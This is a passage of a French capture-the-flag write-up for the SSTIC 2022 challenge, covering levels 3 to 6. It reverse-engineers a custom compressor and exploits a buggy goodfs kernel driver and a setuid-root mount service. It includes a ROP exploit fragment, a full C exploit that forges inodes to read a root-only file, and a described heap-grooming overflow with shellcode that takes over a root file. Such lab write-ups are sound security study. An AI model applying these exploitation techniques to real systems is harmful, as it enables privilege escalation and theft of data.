ftp.cmd_cert( (b"user=x&perms=2&x"+ropchain.replace(b"\0",b"\n")+b"&sig=%d" % signature) + b"&user=" +p64(pivot),exploit=True)
ftp.p.sendline(stage2)

data = ftp.p.recvall()
f = open("m00n.txt","wb")
f.write(data)
f.close()
ftp.p.close()

On récupère le fichier m00n.txt qui nous donne les indications pour la suite du challenge.

L'autre jour j'ai revu le petit film que nous avions tourné à l'époque avec
Neil Armstrong. C'est fou ce qu'on a réussi à faire à l'époque !

Quand je vois les effets spéciaux d'aujourd'hui, je me dis qu'on était vraiment
avant-gardistes...

PS : Nous avons bien avancé sur la sécurisation de notre serveur d'échange 
d'informations. Le serveur FTP est opérationnel ainsi que notre module de 
sécurité matériel.

TODO :
    - Implémenter la décompression
    - Utiliser un fichier moins sensible que home_backup.tar pour les tests de compression
    - Intégrer le système de fichier "goodfs" au serveur FTP

SSTIC{f074370fa82189b5996228bb4a1df23d}

Obtenir une vraie exécution de code

Avant de passer aux étapes suivantes il serait intéressant d’exécuter du code autrement que en ROP. La règle seccomp sur le syscall mmap nous empêche de mapper une zone en RWX. Comme on peut le voir le paramètre (2) prot doit être inférieur ou égal à 5 pour que le syscall soit autorisé.

5 correspond à la combinaison des flags PROT_READ et PROT_EXEC ce qui nous laisse la possibilité de mapper un fichier dans une zone RX. Il suffit d’écrire notre shellcode dans un fichier puis de mapper ce fichier avec mmap pour sortir de l’exécution en ROP.

Niveau 4

Dans le dossier sensitive on retrouve le fichier home_backup.tar qui a été compressé par un algorithme propriétaire implémenté dans le binaire zz. La fonction de compression est obfusquée par une méthode nommée VM-Based Protection. Par rétro-ingénierie on retrouve les instructions de la VM et le code qui effectue la logique de compression. Les fonctions qui permettent d’écrire bit à bit dans le fichier de sortie ne sont pas obfusquées ce qui nous permet de débugger plus facilement le programme et ainsi deviner l’algorithme utilisé.

Le programme zz compresse le fichier d’entrée par bloc de 0x10000 bytes ce qui produit une structure décrite ci-dessous :

  • data_size indique le nombre d’octets à décompresser pour le champ data
  • data est compressé en utilisant l’algorithme de Huffman10. Un structure précède le champ data et permet de reconstruire l’arbre pour l’algorithme de Huffman. Elle est constituée de :
    • n : un nombre de symboles
    • sx : un symbole sur 1 octet
    • bx : le nombre de bits pour encoder le symbole

Les symboles sont insérés dans l’arbre par la gauche et par ordre de lecture. Sur le schéma ci-dessous,

  • On commence par insérer le symbole A dans l’arbre qui est encodé sur 2 bits, on créer 1 noeud intermédiaire à gauche puis une feuille à gauche.
  • Ensuite on insère le symbole C qui est encodé sur 2 bits, on commence à gauche, il y a déjà une feuille a gauche donc on créer une feuille à droite.
  • Pour terminer on insère le symbole B encodé sur 1 bit, on commence à gauche mais il y’a déjà un noeud donc un ne peut pas y placer le symbole. On remonte a la racine et on créer une feuille à droite.

Ainsi on retrouve notre dictionnaire pour pouvoir décompresser le flux de bits :

  • 00 => A
  • 01 => C
  • 1 => B

La chaine ACCBBC donnera le flux de bit suivant 00 01 01 1 1 01.

Cependant l’algorithme de zz gère les répétitions de motifs avec 3 tableaux d’entiers supplémentaire :

  • offsets : chaque entier de ce tableau désigne un offset de fin de motifs dans le champ data décompressé
  • sizes : chaque entier de ce tableau indique une taille de motifs
  • repeats : chaque entier de ce tableau indique un nombre de répétitions pour le motif

Prenons exemple avec un champ data qui vaut “ACDB” une fois décompressé, et les tableaux :

  • offsets = [1,3]
  • sizes = [1,1]
  • repeats = [6,12]

On se décale à l’offset 1 dans la chaine data, on extrait le motif “A” et on le répète 6 fois. Ensuite on se décale à nouveau de 3, on extrait le motif “B” et on le répète 12 fois. Ce qui nous donne la chaine décompressée “AAAAAAACDBBBBBBBBBBBBB”.

Les tableaux sont eux-mêmes compressés avec l’algorithme de Huffman avec quelques petites particularités sur le format des dictionnaires. Le nombre de symboles n et les symboles sont encodés sur 5 bits.

Pour les tableaux offsets et repeats,il y a une petite particularité si le symbole décodé est supérieur à 15 alors :

  • symbole - 12 : donne un nombre supplémentaire de bit à lire, extra_bits .
  • (1 « extra_bits) + le nombre lu sur extra_bits bits donne l’entier final

Par exemple prenons le dictionnaire suivant :

  • 0 => 18

Et le flux de bits suivants : 0001110, 0 correspond au symbole 18, il faut donc lire 18 - 12 = 6 bits supplémentaires ce qui nous donne :

  • (1 « 6) + 0b001110 = 64 + 14 = 78

Pour le tableau size, les mêmes opérations sont nécessaires si le symbole décodé est supérieur à 1.

Le code suivant permet de décompresser un fichier compressé avec zz :

#!/usr/bin/python3

import argparse

from pwn import *
from bitstring import ConstBitStream

import hexdump


def u24(data):
	return u32(data + b"\x00")

class Node:
	def __init__(self):
		self.right = None
		self.left = None
		self.symbol = None

	def __str__(self):
		return "[%02.2x]" % (self.symbol)
		
def insert(node,symbol,nbits):
	if node.symbol is None:
		if nbits == 0:
			node.symbol = symbol
			return True
		else:
			searchNode = None
			if node.left == None:
				searchNode = Node()
				node.left = searchNode
			else:
				searchNode = node.left
				
			if not insert(searchNode,symbol,nbits - 1):
				searchNode = None
				if node.right == None:
					searchNode = Node()
					node.right = searchNode
				else:
					searchNode = node.right
					
				return insert(searchNode,symbol,nbits - 1)
			else:
				return True
				
		return False
	
def walk_tree(node,stream,bit_read=0):
	if node.symbol is not None:
		return (node.symbol,bit_read)
	else:
		bit = stream.read(1).uint
		bit_read += 1
		
		if bit == 0:
			if node.left is not None:
				return walk_tree(node.left,stream,bit_read)
			else:
				raise Exception("huffman exception")
		else:
			if node.right is not None:
				return walk_tree(node.right,stream,bit_read)
			else:
				raise Exception("huffman exception")

def huffman_decode_bytes(huffman_tree,data,size):
	bytes_list,bytes_read = huffman_decode_list(huffman_tree,data,size)
	return (bytes(bytes_list),bytes_read)
	
def huffman_decode_list(huffman_tree,data,size):
	result = []
	bitstream = ConstBitStream(data)
	bits_read = 0
	for i in range(0,size):
		c,bits = walk_tree(huffman_tree,bitstream)
		result.append(c)
		bits_read+=bits
	
	bytes_read = int(bits_read / 8) + int( (bits_read % 8) != 0 )
	return (result,bytes_read)
	
	
def huffman_decode_special(huffman_tree,data,size):
	result = []
	bitstream = ConstBitStream(data)
	bits_read = 0
	for i in range(0,size):
		c,bits = walk_tree(huffman_tree,bitstream)
		
		extra_bits = 0
		if c > 15:
			extra_bits = c - 0xC
		
		if extra_bits > 0:
			# print("read %d extra bits for symbol %d" % (extra_bits,c))
			c = bitstream.read(extra_bits).uint + (1 << extra_bits)  
		
		result.append(c)
		bits_read += bits + extra_bits
	
	bytes_read = int(bits_read / 8) + int( (bits_read % 8) != 0 )
	return (result,bytes_read)
	
def huffman_decode_special2(huffman_tree,data,size):
	result = []
	bitstream = ConstBitStream(data)
	bits_read = 0
	for i in range(0,size):
		c,bits = walk_tree(huffman_tree,bitstream)
		
		extra_bits = 0
		if c > 1:
			extra_bits = c - 1
		
		if extra_bits > 0:
			c = bitstream.read(extra_bits).uint + (1 << extra_bits)  
		
		result.append(c)
		bits_read += bits + extra_bits
	
	bytes_read = int(bits_read / 8) + int( (bits_read % 8) != 0 )
	return (result,bytes_read)
	

	
def build_huffman_tree(data,encoded_size=8):
	root = Node()
	
	bits_read = 0
	
	b = ConstBitStream(data)
	nsymbols = b.read(encoded_size).uint
	# print("nsymbols %d" % (nsymbols + 1))
	bits_read+= encoded_size
	
	for i in range(0,nsymbols+1):
		symbol = b.read(encoded_size).uint
		bitsize = b.read(4).uint + 1
		# print("symbol: %02.2x, bits : %d" % (symbol,bitsize))
		insert(root,symbol,bitsize)
		bits_read += encoded_size + 4
	
	bytes_read = int(bits_read / 8) + int( (bits_read % 8) != 0 )
	return (root,bytes_read)
	
	
ENC_SIZE = 5
def decompress_flux(data):
	
	uncompress_size = u24(data[0:3])
	encoded_size = u24(data[3:6])
	offset = 6
	
	print("uncompress_size : %d" % uncompress_size)
	print("encoded_size : %d" % encoded_size)
	
	tree,seek = build_huffman_tree(data[offset:])
	offset+= seek
	chain,seek = huffman_decode_bytes(tree,data[offset:],uncompress_size)
	offset+= seek
	
	array_length = u24(data[offset:offset + 3])
	print("size : %08.8x" % array_length)
	offset+= 3
	
	
	print("chain : %s" % chain[0:80])
	
	tree,seek = build_huffman_tree(data[offset:],encoded_size=ENC_SIZE)
	offset+=seek
	sym_offset,seek = huffman_decode_special(tree,data[offset:],array_length)
	offset+=seek
	print(sym_offset)
	
	tree,seek = build_huffman_tree(data[offset:],encoded_size=ENC_SIZE)
	offset+=seek
	sym_size,seek = huffman_decode_special2(tree,data[offset:],array_length)
	offset+=seek
	print(sym_size)
	
	tree,seek = build_huffman_tree(data[offset:],encoded_size=ENC_SIZE)
	offset+=seek
	repeat,seek = huffman_decode_special(tree,data[offset:],array_length)
	offset+=seek
	print(repeat)
	
	uncompressed = b""
	curr = 0
	
	for i in range(0,array_length):
		repeated = chain[curr + sym_offset[i] - sym_size[i]:curr + sym_offset[i]]
		if sym_size[i] != 0:
			n = int(repeat[i] / sym_size[i])
			uncompressed += chain[curr:curr + sym_offset[i]]
			uncompressed += repeated * n
			if (repeat[i] % sym_size[i])!=0:
				uncompressed += repeated[0:repeat[i]%sym_size[i]]
		else:
			uncompressed += chain[curr:curr + sym_offset[i]]
			
		curr+= sym_offset[i]
		
	print("chain length : %d" % len(chain))
	print("%d bytes decompressed" % len(uncompressed))
	return uncompressed[0:0x10000]



def decompress(fin):
	result = b""
	header = fin.read(3)
	while len(header) == 3:
		length = u24(header)
		flux = fin.read(length)
		result += decompress_flux(flux)	
		header = fin.read(3)
	return result

if __name__=='__main__':
	parser = argparse.ArgumentParser(description='decompress zz file')
	parser.add_argument('input',help='compressed file',type=str)
	parser.add_argument('--output',help='output file',type=str)
	args = parser.parse_args()
	
	with open(args.input,"rb") as fin:
		data = decompress(fin)
		if args.output:
			with open(args.output,"wb") as fout:
				fout.write(data)
		else:
			print(data)
			hexdump.hexdump(data)

Une fois home_backup.tar décompressé on trouve :

Un article “““scientifique””” au format PDF,

une image de chien déguisé en homard et pas content …

Un .bash_history contenant le mot de passe pour monter le système de fichiers goodfs.

ls -la
whoami
id
cd /tmp
ls
mounter_client mount goodfs MGhtT34gHj5yFcszRYB4gf45DtymEi
cd /mnt/goodfs
ls
cd
cd
cd
exit

Ainsi qu’un fichier notes.txt contenant le flag de l’étape 4.

J'ai lu le papier de FIORANELLI et effectivement nous avons
bien fait de le faire rétracter, un peu plus et il aurait été
pris au sérieux et aurait attiré l'attention du grand public...

De telles informations auraient pu réduire l'Organisation
à néant...

SSTIC{0ded220ffb9d4215b090ebb509e7a1ef}

Niveau 5

Maintenant que l’on a récupérer le mot de passe pour monter le système de fichiers goodfs sur l’environnement distant on va se concentrer sur le driver goodfs.ko. Dans l’environnement local on peut monter le système de fichiers goodfs avec le mot de passe goodfspassword. Dans ce répertoire on trouve 2 dossiers :

  • un dossier public accessible par l’utilisateur sstic, contenant un fichier todo.txt.
  • un dossier private accessible par l’utilisateur root, contenant un fichier placeholder.
$ mounter_client mount goodfs goodfspassword
mounter[45]: mount goodfs
$ cat /mnt/goodfs/public/todo.txt
J'ai été informé qu'il manque un mark_buffer_dirty quelque part dans mon code, mais où ?
$ cat /mnt/goodfs/private/placeholder
Mettre vos données sensibles dans ce dossier

Le fichier todo.txt nous indique qu’il y’a probablement un bug dans le driver goodfs.ko qui nous permettrait d’accéder au contenu du fichier placeholder depuis l’utilisateur sstic. Mais à quoi sert la fonction mark_buffer_dirty ?

Le système de cache

Les blocks devices sont des périphériques découpés par bloc généralement d’une page (4Kb). Les données lues depuis un block device sont mises en cache et éventuellement synchronisées sur le disque. Chaque bloc est associé à une structure buffer_head.

Extrait de 'Using the page cache' de Mitchell Gouzenko

Le driver goodfs utilise 3 API kernel importantes :

  • __bread_gfp : cette fonction permet de lire un bloc block sur le device designé par bdev de taille size. Elle retourne un pointeur sur une structure de type buffer_head, le membre data permet d’accéder aux données du bloc.
struct buffer_head * __bread_gfp(struct block_device * bdev, sector_t block, unsigned size, gfp_t gfp);
  • brelse : libère le bloc en cache, et éventuellement écrit les données sur le disque seulement si celui-ci a été marqué dirty
void brelse(struct buffer_head* bh);
  • mark_buffer_dirty : permet de marquer le bloc dirty, à utiliser lorsqu’on modifie les données.
void mark_buffer_dirty(struct buffer_head * bh);

Structure du système de fichiers goodfs

Après rétro-ingénierie du driver on retrouve la structure du disque.

Le système de fichiers débute par un header de 0x80 octets, nommé goodfs_super_block :

typedef struct _goodfs_super_block{
	uint32_t magic;     // 0x600D600D
	uint32_t version;   // fixé à 0
	// imap est un masque de 252 bits qui permet de savoir si un bloc est libre 
	// (ex: si le bit 2 est set, alors le bloc 2 n'est pas libre)
	imap goodfs_imap;   
}goodfs_super_block;

Il est suivi d’un tableau de 252 inodes. Un inode est une structure qui contient les métadonnées d’un fichier ou d’un répertoire. Sur le disque les inodes sont représentés par une structure goodfs_inode, tandis qu’en mémoire le driver converti les inodes goodfs en inodes Linux.

typedef struct _goodfs_inode{
	kuid_t uid;
	kuid_t gid;
	uint64_t atime;      // timestamp unix, dernière date que le fichier a été ouvert
	uint64_t mtime;      // timestamp unix, dernière date que le contenu a été modifié
	uint16_t data_block; // indique le numéro de bloc contenant les données du fichiers 
	uint16_t mode;       // contient les permissons et le type ( répertoire ou fichier )
	uint32_t size;
}goodfs_inode;

Les répertoires sont représentés sous la forme d’un tableau de goodfs_dir_entry :

typedef struct _goodfs_dir_entry{
	uint32_t ino;  // le numéro d'inode
	char name[32]; // nom de fichier ou de répertoire fils
}goodfs_dir_entry;

Par exemple dans notre cas le répertoire racine est décrit par l’inode 0, son membre data_block vaut 2. A l’offset 2*0x1000 du système de fichiers on trouve 2 goodfs_dir_entry :

  • ino: 1, name: private
  • ino: 2, name: public

Ci-dessous un schéma résumant les structures sur disque:

Les vulnérabilités

Lorsque l’utilisateur créé un fichier, la fonction goodfs_create s’occupe de trouver un bloc libre, créer l’inode associé au fichier et modifie le bitmask imap. Cependant le driver oublie de marquer le bloc contenant l'imap comme dirty. Le driver marque tout de même l’inode comme dirty (avec _mark_inode_dirty), ce qui a pour effet de bord de marquer le bloc contenant l’inode comme dirty. Si l’inode est situé sur le bloc #0, alors imap est mis à jour lorsque le système de fichiers est démonté, mais si l’inode est sur le bloc #1 imap n’est pas mis à jour.

Il y a une deuxième faiblesse dans la fonction goodfs_iget qui permet de lire un inode du système de fichiers et le convertir en inode Linux. Cette fonction est appelée notamment lorsqu’on liste un répertoire. Le numéro d’inode n’est pas contrôlé, on peut indexer un inode en dehors du tableau de 252 inodes.

Monter/Démonter le système de fichier

Le code de l’exploit au niveau 3 est exécuté avec les droits de l’utilisateur sstic, on ne peut pas monter le système de fichiers directement. Pour rappel il existe un service mounter_server qui est lancé avec l’utilisateur root et qui est chargé de monter/démonter le système de fichiers. Après retro-ingénierie du client mounter_client et du service, on retrouve le protocole de communication basé sur une mémoire partagée /run/mount_shm. La structure commune est la suivante :

typedef struct _goodfs_cmd{
	int ctrl;
	char password[256];
	char command[256];
	char filesystem[256];
}goodfs_cmd_t;

Le service n’accepte que le système de fichiers “goodfs” et les commandes “mount” / “umount”. L’entier de contrôle ctrl peut prendre trois valeures :

  • 1 indique une commande en attente de traitement
  • 2 la commande a été exécutée
  • 3 le mot de passe est invalide

Exploitation

En exploitant la première vulnérabilité on peut écraser le contenu d’un répertoire, soit le tabeau de goodfs_dir_entry, par le contenu d’un fichier. En combinant ceci avec la deuxième faiblesse, on peut forger un goodfs_dir_entry dont le champ ino indexe un goodfs_inode dans un bloc que l’on contrôle pleinement, par exemple celui de todo.txt.

Les étapes sont donc les suivantes :

  • on crée un goodfs_inode de type répertoire appartenant à l’utilisateur sstic et pointant sur le bloc #5 (bloc contentant les données du fichier placeholder).
  • on écrit cet inode au début du fichier notes.txt . Il peut être indexé avec un ino 764.
  • on commence par remplir le système de fichiers avec 124 inodes, pour que le data block #0 ne soit plus marqué dirty.

Le driver met à jour récusivement le champ mtime des répertoires lorsqu’une nouvelle entrée est créée. Ce qui a pour effet de bord de marqué dirty les inodes du bloc #0.

On peut s’en sortir avec l’appel système utime. Si l’on change la date de modification du répertoire par une date dans le futur, cela empêche le driver de mettre à jour le champ mtime des répertoires parents. Le bloc #0 n’est plus marqué dirty.

  • on umount/mount le système de fichiers, les blocs #0 et #1 sont mis à jour sur le disque.
  • on crée un fichier spec0, le système de fichiers réserve un bloc pour son contenu.
  • on umount le système de fichiers, la page cache du bloc #0 est libéré mais n’est pas écrite sur disque.
  • on mount le système de fichiers.
  • on ouvre notre fichier spec0 car son inode va être remplacé par l’inode répertoire que l’on crée à l’étape suivante.
  • on crée un répertoire, le driver utilise le même data bloc pour stocker le contenu du répertoire et celui du fichier spec0.
  • on écrit dans le fichier spec0 une structure goodfs_dir_entry avec un nom PWN0 et un numéro d’inode ( ino ) 764.
  • on umount/mount le système de fichiers

Pour finir on peut lire le contenu du répertoire PWN0 puisque celui-ci nous appartient (d’après les métadonnées de l’inode 764). L’appel système getdents64 permet de récupérer successivement les entrées d’un répertoire notamment leur numéro d’inode et leur nom. On utilise cet appel système pour exfiltrer le contenu du data bloc #5, soit le contenu du fichier placeholder.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/types.h>
#include <utime.h>
#include <time.h>
#include <stdint.h>
#include "generated.h"

typedef char* (*pFn_strcpy)(char* dst,char* src);
typedef void* (*pFn_memcpy)(void* dst,void* src,size_t size);
typedef int (*pFn_write)(int fd,const void* buffer,size_t size);
typedef int (*pFn_read)(int fd,void* buffer,size_t size);
typedef int (*pFn_open)(const char *pathname, int flags, int mode);
typedef int (*pFn_close)(int fd);
typedef int (*pFn_mkdir)(const char* pathname,int mode);
typedef void* (*pFn_mmap)(void *addr, size_t length, int prot, int flags,int fd, off_t offset);
typedef int (*pFn_munmap)(void *addr, size_t length);
typedef time_t (*pFn_time)(time_t *tloc);
typedef int (*pFn_utime)(const char *filename, const struct utimbuf *times);
typedef int (*pFn_getdents64)(int fd,void* dirp,size_t count);
typedef char* (*pFn_strcat)(char* dest,const char* src);

#define FD_SOCKET 5

void mymain();

void mount_goodfs(volatile char* memory);
void umount_goodfs(volatile char* memory);
void custom_strcpy(char* dst,char* src);


typedef struct _goodfs_inode {
	uint32_t uid;
	uint32_t gid;
	uint64_t atime;
	uint64_t mtime;
	uint16_t data_block;
	uint16_t mode;
	uint32_t size;
}goodfs_inode;

typedef struct _goodfs_dir_entry {
	uint32_t ino;
	uint8_t name[32];
}goodfs_dir_entry;


void mymain()
{
	pFn_strcpy my_strcpy = (pFn_strcpy)LIBC_STRCPY;
	pFn_strcat my_strcat = (pFn_strcat)LIBC_STRCAT;
	pFn_memcpy my_memcpy = (pFn_memcpy)LIBC_MEMCPY;
	
	pFn_write my_write = (pFn_write)LIBC_WRITE;
	pFn_read my_read = (pFn_read)LIBC_READ;
	pFn_open my_open = (pFn_open)LIBC_OPEN;
	pFn_close my_close = (pFn_close)LIBC_CLOSE;
	pFn_mkdir my_mkdir = (pFn_mkdir)LIBC_MKDIR;
	pFn_mmap my_mmap = (pFn_mmap)LIBC_MMAP;
	pFn_munmap my_munmap = (pFn_munmap)LIBC_MUNMAP;
	pFn_time my_time = (pFn_time)LIBC_TIME;
	pFn_utime my_utime = (pFn_utime)LIBC_UTIME;
	pFn_getdents64 my_getdents64 = (pFn_getdents64)LIBC_GETDENTS64;
	
	char path[256] = {0};
	int fd_shm = my_open("/run/mount_shm",2,0x1B6);
	volatile char* memptr = my_mmap(0,0x1000,3,1,fd_shm,0);
	
	char* array[] = {
		"0","1","2","3","4","5","6","7","8","9",
		"10","11","12","13","14","15","16","17","18","19",
		"20","21","22","23","24","25","26","27","28","29","30"};
	
	///////////////////////
	// EXPLOIT
	///////////////////////
	mount_goodfs(memptr);
	
	// char path[256] = {0};
	// 30 inodes
	for(int i = 0; i < 29; i++)
	{
		my_strcpy(path,"/mnt/goodfs/public/");
		my_strcat(path,array[i]);
		int fd = my_open(path,O_CREAT|O_RDWR,0);
		my_close(fd);
	}
	
	my_mkdir("/mnt/goodfs/public/30",0777);
	
	// 30 inodes
	for(int i = 0; i < 29; i++)
	{
		my_strcpy(path,"/mnt/goodfs/public/30/");
		my_strcat(path,array[i]);
		int fd = my_open(path,O_CREAT|O_RDWR,0);
		my_close(fd);
	}
	
	my_mkdir("/mnt/goodfs/public/30/30",0777);
	
	// 30 inodes
	for(int i = 0; i < 29; i++)
	{
		my_strcpy(path,"/mnt/goodfs/public/30/30/");
		my_strcat(path,array[i]);
		int fd = my_open(path,O_CREAT|O_RDWR,0);
		my_close(fd);
	}
	
	my_mkdir("/mnt/goodfs/public/30/30/30",0777);
	
	// 30 inodes
	for(int i = 0; i < 29; i++)
	{
		int fd = my_open(path,O_CREAT|O_RDWR,0);
		my_strcpy(path,"/mnt/goodfs/public/30/30/30/");
		my_strcat(path,array[i]);
		my_close(fd);
	}
	
	my_mkdir("/mnt/goodfs/public/30/30/30/30",0777);

	
	int fd_todo = my_open("/mnt/goodfs/public/todo.txt",O_RDWR,0);
	if(fd_todo < 0)
		my_write(FD_SOCKET,"failed open todo.txt\n",20);
	
	goodfs_inode inode[4] = {0};
	
	for(int i = 0; i < 4; i++)
	{
		inode[i].uid = 1000;
		inode[i].gid = 1000;
		my_time(&inode[i].atime);
		my_time(&inode[i].mtime);
		inode[i].data_block = 5;
		inode[i].mode = 0x41E4;
		inode[i].size = 0;
	}
	
	my_write(fd_todo,&inode,sizeof(goodfs_inode) * 4);
	my_close(fd_todo);
	
	
	// mark directory in future
	my_mkdir("/mnt/goodfs/public/30/30/30/30/special",0777);
	struct utimbuf timbuf = {0};
	my_time(&timbuf.actime);
	my_time(&timbuf.modtime);
	
	timbuf.actime += 60*30;
	timbuf.modtime += 60*30;
	
	my_utime("/mnt/goodfs/public/30/30/30/30/special",&timbuf);
	//printf("utime : %d\n",);
	
	umount_goodfs(memptr); // flush page to disk
	
	
	mount_goodfs(memptr);
	
	int fd_spec0 = my_open("/mnt/goodfs/public/30/30/30/30/special/spec0",O_CREAT|O_RDWR,0777);
	my_write(fd_spec0,"AAAA",4);
	my_close(fd_spec0);
	
	umount_goodfs(memptr); // page is free 
	
	mount_goodfs(memptr);
	
	fd_spec0 = my_open("/mnt/goodfs/public/30/30/30/30/special/spec0",O_RDWR,0);
	my_mkdir("/mnt/goodfs/public/30/30/30/30/special/test",0777);
	
	goodfs_dir_entry dentry[1] = {0};
	for(int i = 0; i < 1; i++)
	{
		dentry[i].ino = 764 + i;
		my_strcpy(path,"PWN");
		my_strcat(path,array[i]);
		my_strcpy(dentry[i].name,path);
	}
	
	my_write(fd_spec0,&dentry,sizeof(goodfs_dir_entry) * 1);
	my_close(fd_spec0);
	
	umount_goodfs(memptr);
	
	mount_goodfs(memptr);
	
	int directory = my_open("/mnt/goodfs/public/30/30/30/30/special/test/PWN0",O_RDONLY | O_DIRECTORY,0);
	
	char result[0x400] = {0};
	
	while(1)
	{
		char entry[256]= {0};
		int res = my_getdents64(directory,entry,256);
		my_strcat(result,entry);
		my_strcat(result,&entry[0x10+3]);
		if(res == 0)
			break;
		if(res == -1)
			break;
		
	}
	my_write(FD_SOCKET,result,0x400);
	my_close(directory);
	
	
	my_munmap(memptr,0x1000);
	///////////////////
	// END EXPLOIT
	////////////////////
	
	my_close(fd_shm);
	my_close(FD_SOCKET);
}

void mount_goodfs(volatile char* memory)
{
	pFn_strcpy my_strcpy = (pFn_strcpy)LIBC_STRCPY;
	my_strcpy(memory + 260,"mount");
	my_strcpy(memory + 516,"goodfs");
	my_strcpy(memory + 4,"MGhtT34gHj5yFcszRYB4gf45DtymEi");
	memory[0] = 1;
	while(memory[0] == 1){ }
}

void umount_goodfs(volatile char* memory)
{
	pFn_strcpy my_strcpy = (pFn_strcpy)LIBC_STRCPY;
	my_strcpy(memory + 260,"umount");
	my_strcpy(memory + 516,"goodfs");
	my_strcpy(memory + 4,"MGhtT34gHj5yFcszRYB4gf45DtymEi");
	memory[0] = 1;
	while(memory[0] == 1){ }
}

On retrouve ainsi le contenu du fameux fichier placeholder :

re ami sur la lune s'est passée correctement, et tout le monde a été convaincu qu'il est décédé.
    En cas de voyage sur place dans le futur, il faudra masquer sa présence par le biais d'effets spéciaux.

22/11/1963 : 
    Nos confrères reptiliens à la CIA ont exécuté le pla  Je ne sais pas exactement comment, mais un hacker est parvenu a forger un inode pour lire ce fichier secret.
    J'ai donc déplacé mes infort.

    Il m'a dit pouvoir aussi accmounter_server, mais c'est impossible, ce service n'est pas vulnérable !
    Je suis tellement confiant de cela que j'ai retiré toutes les mitigations de ce programme lors de sa compilation.

    Il a forcément corrompu ce processus via l'exploitation de goodfs, mais comment ? 
Il n'a pas souhaité me divulger plus de détails, à part qu'il aurait utilisé des inodes négatifs...

    PS : C'est peut-être une mauvaise idée de parler de tout ça ici...

SSTIC{c96f1fa046e5e998e5ae511d9c846fcd}

Niveau 6

Selon les indications du contenu sensible de l’étape précédente, un hacker serait parvenu à exploiter mounter_server par le biais du driver goodfs.ko. On confirme avec l’utilitaire checksec que le binaire n’a pas de mitigations :

$ checksec mounter_server
[*] '/mnt/hgfs/SSTIC2k22/Stage5/mounter_server'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

Les vulnérabilités

Dans le binaire la fonction syslog_command est vulnérable à un buffer overflow. Les paramètres command et filesystem peuvent théoriquement faire 255 octets, ils sont recopiés dans un buffer de 192 octets. On a donc un stack overflow assez basique au vu des mitigations du programme.

Cependant celui-ci n’est pas déclenchable directement, car les paramètres sont vérifiés avant l’appel de la fonction.

Il y a une faiblesse du programme dans le traitement des commandes. Le programme oublie de libérer la zone cmd si le mot de passe est incorrect.

L’idée principale de l’exploit est de déclencher le buffer overflow en modifiant les champs command et filesystem après les vérifications effectuées par le programme.

Exploitation

La faiblesse de mounter_server sur les allocations mémoire nous donne la possibilité de faire grandir la heap sur programme jusqu’à ce qu’on retrouve une page de heap juste avant celle contenant le goodfs_super_block en cache. Grâce à la première vulnérabilité décrite dans le niveau 5, nous sommes capables de forger des goodfs_dir_entry avec des inodes négatifs.

  • L’appel système stat permet de lire les métadonnées d’un fichier, et par conséquent faire fuiter les données de la page de heap par les champs de la structure stat.
  • L’appel système utime nous donne aussi la possibilité de modifier les champs mtime et atime des inodes.

La fonction goodfs_write_inode qui convertit un inode linux en goodfs_inode est appelé au moment de l’appel à umount dans mounter_server. Cette fonction provoque une écriture dans la page de heap. Par conséquent on peut modifier les champs command et filesystem après vérification et avant qu’ils soient logués par la fonction syslog_command.

La primitive d’écriture est soumis cependant à quelques contraintes :

  • les champs uid,gid doivent être à 1000 (uid de l’utilisateur sstic )
  • le mode doit avoir au moins le bit W set
  • les écritures se font par 16 octets et sur un multiple de 0x20 (taille de la structure goodfs_inode)

Avec 30 allocations on obtient la page de heap suivante :

Les inodes -83 et -75 permettent de modifier le début des champs command et filesystem.

Grâce à la “Stack View” d’IDA on sait qu’il faut envoyer 200 octets pour écraser le pointeur de fonction appelé à la fin de syslog_command. La fonction prend en paramètre l’adresse du buffer, un gadget 0x4016ed : jmp rdi suffit pour rediriger le flux d’exécution sur le début du buffer.

On place dans le champ mtime de l’inode -83, 7 octets non null qui seront concaténés avec le caractère espace puis le champ filesystem.

Dans le champ mtime de l’inode -75, on met 8 octets non null pour continuer la chaine de caractère dans le champ filesystem. Les champs data_block, mode, et size de l’inode doivent aussi être non null. Ensuite on a 184 octets consécutifs non null pour y placer notre shellcode.

Avec le shellcode on change le propriétaire du fichier /root/final_secret.txt pour pouvoir le lire avec les droits sstic.

Nous avons enfin reçu une transmission de notre planète d'origine !

Cette ligne de transmission en cache plusieurs, afin qu'aucun humain ne puisse lire son contenu.

La domination du monde est à portée de main, hahahahaha !
HAhAhAhAHA !!
MOUHAAHAAAAHAHAHAHAAAAAAAAA !!!!!!

SSTIC{f29983c5d404138a9905aa920d273704}

kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkOkOkOkOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0O0O0O00000000000
[...]

Vous trouverez dans l’archive final.zip une version proprifiée de l’exploit pour récupérer le fichier de la dernière étape.

Niveau Bonus

La transmission récupérée à l’étape précédente ressemble fort à de l’ASCII art, on ouvre le fichier avec GIMP au format RAW. En jouant avec la largeur de l’image en mode indexé on obtient une adresse mail lisible :

Ainsi se conclut ma deuxième participation au challenge SSTIC après plusieurs semaines de travail acharné. Comme l’année dernière ce challenge m’aura permis d’approfondir mes connaissances dans le domaine de la sécurité informatique, du format Compound File au driver de système fichiers sous Linux. Pour terminer je souhaite remercier les concepteurs du challenge pour leur travail de qualité.

Références & Liens

  1. SSTIC : https://www.sstic.org/2022/news/
  2. Compound File Format : https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-CFB/%5bMS-CFB%5d.pdf
  3. HSM : https://en.wikipedia.org/wiki/Hardware_security_module
  4. RFC FTP : https://datatracker.ietf.org/doc/html/rfc959
  5. PIE : https://www.redhat.com/en/blog/position-independent-executables-pie
  6. ASLR : https://en.wikipedia.org/wiki/Address_space_layout_randomization
  7. Seccomp Man Page :https://man7.org/linux/man-pages/man2/seccomp.2.html
  8. Tcache exploitation :https://hackmd.io/@5Mo2wp7RQdCOYcqKeHl2mw/ByTHN47jf
  9. Heap exploitation : https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/
  10. Huffman coding :https://www.programiz.com/dsa/huffman-coding
  11. Page cache explained : https://cs4118.github.io/pantryfs/page-cache-overview.pdf
